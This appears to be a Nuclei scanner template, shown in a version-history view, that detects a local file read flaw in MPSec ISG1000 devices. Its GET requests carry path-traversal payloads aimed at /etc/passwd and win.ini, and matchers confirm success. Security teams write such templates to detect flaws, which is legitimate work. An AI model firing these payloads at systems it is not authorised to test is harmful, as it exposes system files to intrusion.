2021-06-10 08:55:20 +00:00
|
|
|
id: mpsec-lfi
|
2021-06-10 07:11:07 +00:00
|
|
|
|
|
|
|
info:
|
2021-06-10 08:55:20 +00:00
|
|
|
name: MPSec ISG1000 Local File Read
|
2021-06-10 07:11:07 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
|
|
|
reference: https://twitter.com/sec715/status/1402884871173795842
|
2021-06-10 08:55:20 +00:00
|
|
|
tags: mpsec,lfi
|
2021-06-10 07:11:07 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd"
|
|
|
|
- "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../c:/windows/win.ini"
|
2021-06-10 08:55:20 +00:00
|
|
|
|
2021-06-10 07:11:07 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "for 16-bit app support"
|
|
|
|
- "root:[x*]:0:0:"
|
|
|
|
part: body
|
2021-06-10 08:55:20 +00:00
|
|
|
condition: or
|
2021-06-10 07:11:07 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2021-06-10 09:07:26 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "text/plain"
|
|
|
|
part: header
|